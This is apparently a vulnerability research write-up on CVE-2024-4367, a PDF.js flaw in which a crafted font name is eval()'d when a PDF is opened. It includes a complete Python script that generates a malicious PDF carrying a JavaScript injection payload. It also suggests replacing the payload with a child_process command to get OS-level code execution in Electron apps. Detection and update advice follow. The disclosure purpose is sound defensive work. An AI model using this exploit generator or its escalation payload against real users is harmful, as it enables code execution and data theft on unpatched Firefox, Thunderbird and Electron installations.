cve research · rce · offensive security
← back

CVE-2024-4367 — PDF.js Arbitrary JavaScript via Malicious PDF

TL;DR

PDF.js fails to validate the type of a font name property. Pass a JavaScript expression instead of a string — it gets eval()'d in the renderer's context. Open a PDF → execute arbitrary JS in Firefox, Thunderbird, VS Code, and every app that embeds PDF.js. No click required beyond opening the file.

Affected PDF.js < 4.2.67 — Firefox, Thunderbird, many Electron apps Fixed in PDF.js 4.2.67 — Firefox 126 — 2024-05-14 CVSS 7.8 HIGH — local, user interaction (open PDF) Impact Arbitrary JavaScript in renderer — cookie theft, file access, RCE in Electron Discovered by Thomas Rinsma (Codean Labs)

What is this?

PDF.js is a JavaScript library that renders PDF files in the browser. Mozilla built it — it's what Firefox uses when you open a PDF. Thousands of apps (Thunderbird, VS Code, Obsidian, many Electron apps) also embed it.

The vulnerability: a malicious PDF can make PDF.js execute arbitrary JavaScript the moment someone opens it. No plugin, no macro, no warning dialog. Just: open PDF → attacker's code runs.

Beginner note — what's type confusion?

Type confusion happens when code expects one data type (like a string "Arial") but gets another (like an object or expression) and uses it without checking. The code trusts the input, does something with it — and the attacker controls what that "something" is.

The Bug

PDF files can embed fonts. Each font has a name. PDF.js processes these names and, in specific code paths, passes the name through JavaScript's eval() without first checking that it's actually a plain string.

The vulnerable code path is in the Type 1 and Type 1C font parsing. A crafted font descriptor with a specially constructed name value reaches an eval() call in the font initialization code.

Why does PDF.js call eval() at all?

PDF.js generates JavaScript code dynamically to handle font rendering. Some font metrics and transformations are compiled into JS functions at runtime. The name property ends up being interpolated into this generated code — which then gets eval()'d. The flaw is not checking that the name is safe before interpolation.

Exploitation Chain

1 Craft a malicious PDF Create a valid PDF with an embedded font. Set the font's BaseFont (or related name field) to a value that contains JavaScript — for example: a}));alert(document.domain);//.
2 PDF is opened in a vulnerable viewer The victim opens the PDF in Firefox, Thunderbird, or any app using an unpatched PDF.js. No prompt. No macro warning. PDF renders normally — the font processing runs automatically.
3 JavaScript executes in renderer context The injected code runs in the PDF viewer's origin. In Firefox: resource://pdf.js context (limited). In Electron apps (VS Code, Obsidian): file:// context with access to Node.js APIs → full filesystem and process access.
4 Escalate in Electron apps In an Electron app without contextIsolation or with nodeIntegration: true, the injected JS can call Node APIs: require('child_process').exec('calc.exe'). This is OS-level code execution triggered by opening a PDF.

Proof of Concept

Generating the malicious PDF and verifying execution:

generate_poc.py — creates the malicious PDF python3
#!/usr/bin/env python3
"""
CVE-2024-4367 — PDF.js arbitrary JS via font name
Generates a PDF that triggers alert() when opened in a vulnerable viewer.
"""
import struct

# JavaScript payload injected into the font name field.
# This gets eval()'d by PDF.js during font parsing.
# Replace with your actual payload for testing.
JS_PAYLOAD = "alert('CVE-2024-4367: JS executed — ' + document.URL)"

# The injection closes the surrounding string context and injects JS.
# Exact syntax depends on the PDF.js version's code generation template.
FONT_NAME = f"a}}));{JS_PAYLOAD};//"

def make_pdf(payload_font_name: str) -> bytes:
    """Minimal PDF with a crafted font name."""
    objects = []

    # Object 1: Catalog
    objects.append(b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n")

    # Object 2: Pages
    objects.append(b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n")

    # Object 3: Page with font reference
    objects.append(
        b"3 0 obj\n"
        b"<< /Type /Page /Parent 2 0 R\n"
        b"   /MediaBox [0 0 612 792]\n"
        b"   /Resources << /Font << /F1 4 0 R >> >>\n"
        b"   /Contents 5 0 R\n"
        b">>\nendobj\n"
    )

    # Object 4: Font with malicious BaseFont name
    font_name_bytes = payload_font_name.encode("latin-1")
    objects.append(
        b"4 0 obj\n"
        b"<< /Type /Font /Subtype /Type1\n"
        b"   /BaseFont /" + font_name_bytes + b"\n"
        b">>\nendobj\n"
    )

    # Object 5: Content stream (just draws the font to trigger parsing)
    content = b"BT /F1 12 Tf 100 700 Td (trigger) Tj ET"
    objects.append(
        b"5 0 obj\n"
        b"<< /Length " + str(len(content)).encode() + b" >>\n"
        b"stream\n" + content + b"\nendstream\nendobj\n"
    )

    # Assemble PDF
    header = b"%PDF-1.4\n"
    body = header
    offsets = []
    for obj in objects:
        offsets.append(len(body))
        body += obj

    # Cross-reference table
    xref_offset = len(body)
    xref = f"xref\n0 {len(objects)+1}\n0000000000 65535 f \n"
    for off in offsets:
        xref += f"{off:010d} 00000 n \n"

    trailer = (
        f"trailer\n<< /Size {len(objects)+1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n"
    )

    return body + xref.encode() + trailer.encode()

pdf_bytes = make_pdf(FONT_NAME)
with open("/tmp/cve_2024_4367_poc.pdf", "wb") as f:
    f.write(pdf_bytes)

print(f"[+] Generated: /tmp/cve_2024_4367_poc.pdf ({len(pdf_bytes)} bytes)")
print(f"[+] Open with Firefox < 126 or any unpatched PDF.js viewer to trigger.")
print(f"[+] Expected: alert dialog with current URL.")
run the test bash
# Generate the PoC PDF
python3 generate_poc.py

# Verify your Firefox version (vulnerable if < 126)
firefox --version

# Open the PDF — alert should fire immediately
firefox /tmp/cve_2024_4367_poc.pdf

# Check VS Code's embedded PDF viewer version
# (Help → About → look for pdf.js in bundled deps)

In Electron apps without Node integration restrictions, replace the alert() payload with require('child_process').execSync('id > /tmp/pwned') to demonstrate OS-level code execution. Test only on systems you own.

Affected Applications

Application Vulnerable version Impact Patched in
Firefox < 126 JS in pdf.js context Firefox 126
Thunderbird < 115.11 JS in mail viewer context Thunderbird 115.11
VS Code depends on pdf.js version Node.js access if nodeIntegration check pdf.js bundle version
Any Electron app embedding pdf.js < 4.2.67 varies by sandbox config update pdf.js dependency

Detection

# Check Firefox version
firefox --version  # must be >= 126

# Check PDF.js library version directly
# In Node.js projects:
cat node_modules/pdfjs-dist/package.json | grep '"version"'
# must be >= 4.2.67

# Scan for vulnerable apps embedding pdfjs-dist
find / -name "pdf.worker.js" 2>/dev/null | xargs grep -l "pdfjs"

Mitigation

Update Firefox to 126+ and Thunderbird to 115.11+. For applications using PDF.js as a dependency:

# In a Node.js project
npm install pdfjs-dist@latest  # must be >= 4.2.67
npm audit  # check for known vulns in deps

References

Codean Labs original research
NVD — CVE-2024-4367
Mozilla security advisory


Research conducted on isolated lab infrastructure. No third-party systems targeted without authorization.